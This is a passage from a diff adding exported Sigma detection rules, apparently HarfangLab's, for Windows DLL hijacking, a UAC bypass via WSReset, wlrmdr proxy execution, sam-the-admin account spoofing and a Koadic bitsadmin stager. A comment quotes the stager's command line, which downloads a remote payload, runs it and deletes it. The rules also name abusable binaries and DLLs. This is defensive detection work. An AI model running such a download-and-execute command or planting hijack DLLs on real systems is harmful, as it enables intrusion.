classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'clip.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "927cc2ec-ed2a-488b-8207-882c3e9f8e3e",
+  "rule_name": "DLL Hijacking via clip.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via clip.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "92b99972-5502-4e61-91e1-3c27998b6e2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083801Z",
+  "creation_date": "2026-03-23T11:45:34.083803Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083807Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin",
+    "https://github.com/offsecginger/koadic",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/software/S0250/",
+    "https://attack.mitre.org/software/S0190/"
+  ],
+  "name": "t1105_koadic_bitsadmin_transfer_stager.yml",
+  "content": "title: Koadic Bitsadmin Stager Detected\nid: 92b99972-5502-4e61-91e1-3c27998b6e2e\ndescription: |\n    Detects the Koadic `stager/js/bitsadmin` stage module which transfers a `.wsf` payload containing JScript over a Bitsadmin job and executes it.\n    Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.\n    It is recommended to investigate the parent process, the content of the `.wsf` payload and other malicious activities stemming from the payload execution.\nreferences:\n    - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin\n    - https://github.com/offsecginger/koadic\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/software/S0250/\n    - https://attack.mitre.org/software/S0190/\ndate: 2021/02/15\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.execution\n    - attack.t1105\n    - attack.t1197\n    - attack.s0250\n    - attack.s0190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Koadic\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # bitsadmin /transfer ~ENDPOINT~ /download /priority high ~URL~ %temp%\\~FENDPOINT~ & start /wait %temp%\\~FENDPOINT~ & del %temp%\\~FENDPOINT~\n    selection_1:\n        - Image|endswith: '\\bitsadmin.exe'\n        - OriginalFileName: 'bitsadmin.exe'\n    selection_2:\n        CommandLine|contains|all:\n            - '/transfer ????? '\n            - '/download '\n            - '/priority high '\n            - 'http*/?????.wsf'\n    condition: all of selection_*\nlevel: medium\n# level: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "92b99972-5502-4e61-91e1-3c27998b6e2e",
+  "rule_name": "Koadic Bitsadmin Stager Detected",
+  "rule_description": "Detects the Koadic `stager/js/bitsadmin` stage module which transfers a `.wsf` payload containing JScript over a Bitsadmin job and executes it.\nKoadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.\nIt is recommended to investigate the parent process, the content of the `.wsf` payload and other malicious activities stemming from the payload execution.\n",
+  "rule_creation_date": "2021-02-15",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1197"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "92efbec8-05be-41f7-a0d9-2493f3cfd30f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074316Z",
+  "creation_date": "2026-03-23T11:45:34.074318Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074323Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html",
+    "https://github.com/sailay1996/UAC_bypass_windows_store"
+  ],
+  "name": "t1548_002_uac_bypass_wsreset_dll.yml",
+  "content": "title: UAC Bypass via Windows Store Executed\nid: 92efbec8-05be-41f7-a0d9-2493f3cfd30f\ndescription: |\n    Detects the preparation of a UAC bypass via WSReset.exe.\n    WSReset.exe is used to reset the Windows Store cache, and by manipulating its execution, a low-privileged user can bypass UAC and trigger a process with higher privileges.\n    Attackers may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the execution context to look for malicious actions and to verify the legitimacy of the loaded DLL.\nreferences:\n    - https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html\n    - https://github.com/sailay1996/UAC_bypass_windows_store\ndate: 2020/10/23\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\WSReset.exe'\n        ImageLoaded|endswith: '\\propsys.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "92efbec8-05be-41f7-a0d9-2493f3cfd30f",
+  "rule_name": "UAC Bypass via Windows Store Executed",
+  "rule_description": "Detects the preparation of a UAC bypass via WSReset.exe.\nWSReset.exe is used to reset the Windows Store cache, and by manipulating its execution, a low-privileged user can bypass UAC and trigger a process with higher privileges.\nAttackers may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the execution context to look for malicious actions and to verify the legitimacy of the loaded DLL.\n",
+  "rule_creation_date": "2020-10-23",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "92f2f8d2-de43-43d5-ad95-4942e9793588",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594927Z",
+  "creation_date": "2026-03-23T11:45:34.594931Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594939Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rdpsa.yml",
+  "content": "title: DLL Hijacking via rdpsa.exe\nid: 92f2f8d2-de43-43d5-ad95-4942e9793588\ndescription: |\n    Detects potential Windows DLL Hijacking via rdpsa.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rdpsa.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\SspiCli.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "92f2f8d2-de43-43d5-ad95-4942e9793588",
+  "rule_name": "DLL Hijacking via rdpsa.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rdpsa.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "92f3e4d7-eb76-471d-956a-c6c46c360779",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077152Z",
+  "creation_date": "2026-03-23T11:45:34.077154Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077159Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/",
+    "https://x.com/0gtweet/status/1493963591745220608",
+    "https://x.com/Oddvarmoe/status/927437787242090496",
+    "https://x.com/falsneg/status/1461625526640992260",
+    "https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-notifyicondataw",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_wlrmdr_proxy_execution.yml",
+  "content": "title: Proxy Execution via wlrmdr.exe\nid: 92f3e4d7-eb76-471d-956a-c6c46c360779\ndescription: |\n    Detects a suspicious process being spawned by wlrmdr.exe.\n    Adversaries may abuse wlrmdr.exe, a legitimate Windows system process called the Windows License Reminder, which displays notifications when the operating system is not properly activated, to proxy the execution of their malicious payloads.\n    It is recommended to investigate the legitimacy of the process responsible for the execution of wlrmdr.exe and to analyze the detected child process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/\n    - https://x.com/0gtweet/status/1493963591745220608\n    - https://x.com/Oddvarmoe/status/927437787242090496\n    - https://x.com/falsneg/status/1461625526640992260\n    - https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-notifyicondataw\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2025/10/20\nmodified: 2025/11/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Wlrmdr\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessParentOriginalFileName: 'wlrmdr.exe'\n\n    exclusion_firefox:\n        Image|endswith: '\\firefox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mozilla Corporation'\n\n    exclusion_chrome:\n        Image|endswith: '\\chrome.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Google Inc'\n            - 'Google LLC'\n\n    exclusion_edge:\n        Image|endswith:\n            - '\\msedge.exe'\n            - '\\msedgewebview2.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_werfault:\n        Image:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: ' -u -p '\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "92f3e4d7-eb76-471d-956a-c6c46c360779",
+  "rule_name": "Proxy Execution via wlrmdr.exe",
+  "rule_description": "Detects a suspicious process being spawned by wlrmdr.exe.\nAdversaries may abuse wlrmdr.exe, a legitimate Windows system process called the Windows License Reminder, which displays notifications when the operating system is not properly activated, to proxy the execution of their malicious payloads.\nIt is recommended to investigate the legitimacy of the process responsible for the execution of wlrmdr.exe and to analyze the detected child process.\n",
+  "rule_creation_date": "2025-10-20",
+  "rule_modified_date": "2025-11-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9308cd5d-6872-414a-93c3-1ed4c2a98ff9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611218Z",
+  "creation_date": "2026-03-23T11:45:34.611221Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611229Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html",
+    "https://github.com/WazeHell/sam-the-admin",
+    "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/",
+    "https://attack.mitre.org/techniques/T1098/",
+    "https://attack.mitre.org/techniques/T1078/002/"
+  ],
+  "name": "t1078_002_sam_the_admin_tool_usage.yml",
+  "content": "title: SAM AccountName Spoofed via sam-the-admin\nid: 9308cd5d-6872-414a-93c3-1ed4c2a98ff9\ndescription: |\n    Detects suspicious creation of a Machine Account with the SAMTHEADMIN name.\n    This can be the result of sAMAccountName spoofing exploitation (CVE-2021-42287 and CVE-2021-42278) via sam-the-admin exploitation code.\n    Exploitation of the CVE-2021-42278 vulnerability results in the ability to change a machine account sAMAccountName attribute to a domain controller's name without the trailing $.\n    In combinaison with CVE-2021-42287, it allowed attackers to impersonate a domain controller account.\nreferences:\n    - https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html\n    - https://github.com/WazeHell/sam-the-admin\n    - https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/\n    - https://attack.mitre.org/techniques/T1098/\n    - https://attack.mitre.org/techniques/T1078/002/\ndate: 2022/10/03\nmodified: 2024/01/15\nauthor: HarfangLab\ntags:\n    - attack.t1078.002\n    - attack.t1098\n    - attack.privilege_escalation\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Exploit.sAMAccountName\n    - classification.Windows.Exploit.CVE-2021-42278\n    - classification.Windows.Exploit.CVE-2021-42287\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4741\n    filter_sam_name:\n        SamAccountName|startswith: 'SAMTHEADMIN-'\n    filter_user_name:\n        TargetUserName|startswith: 'SAMTHEADMIN-'\n    condition: selection and (filter_sam_name or filter_user_name)\nlevel: high\n# level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9308cd5d-6872-414a-93c3-1ed4c2a98ff9",
+  "rule_name": "SAM AccountName Spoofed via sam-the-admin",
+  "rule_description": "Detects suspicious creation of a Machine Account with the SAMTHEADMIN name.\nThis can be the result of sAMAccountName spoofing exploitation (CVE-2021-42287 and CVE-2021-42278) via sam-the-admin exploitation code.\nExploitation of the CVE-2021-42278 vulnerability results in the ability to change a machine account sAMAccountName attribute to a domain controller's name without the trailing $.\nIn combinaison with CVE-2021-42287, it allowed attackers to impersonate a domain controller account.\n",
+  "rule_creation_date": "2022-10-03",
+  "rule_modified_date": "2024-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.002",
+    "attack.t1098"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9308fb68-80cf-4c43-b472-4fd3579d707c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094404Z",
+  "creation_date": "2026-03-23T11:45:34.094406Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094410Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_lpksetup.yml",
+  "content": "title: DLL Hijacking via lpksetup.exe\nid: 9308fb68-80cf-4c43-b472-4fd3579d707c\ndescription: |\n    Detects potential Windows DLL Hijacking via lpksetup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'lpksetup.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\dpx.dll'\n            - '\\lpksetupproxyserv.dll'\n            - '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9308fb68-80cf-4c43-b472-4fd3579d707c",
+  "rule_name": "DLL Hijacking via lpksetup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via lpksetup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "933b39f4-d353-4ace-b166-4b9d83517edb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590184Z",
+  "creation_date": "2026-03-23T11:45:34.590190Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590202Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_presentationsettings.yml",
+  "content": "title: DLL Hijacking via presentationsettings.exe\nid: 933b39f4-d353-4ace-b166-4b9d83517edb\ndescription: |\n    Detects potential Windows DLL Hijacking via presentationsettings.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - 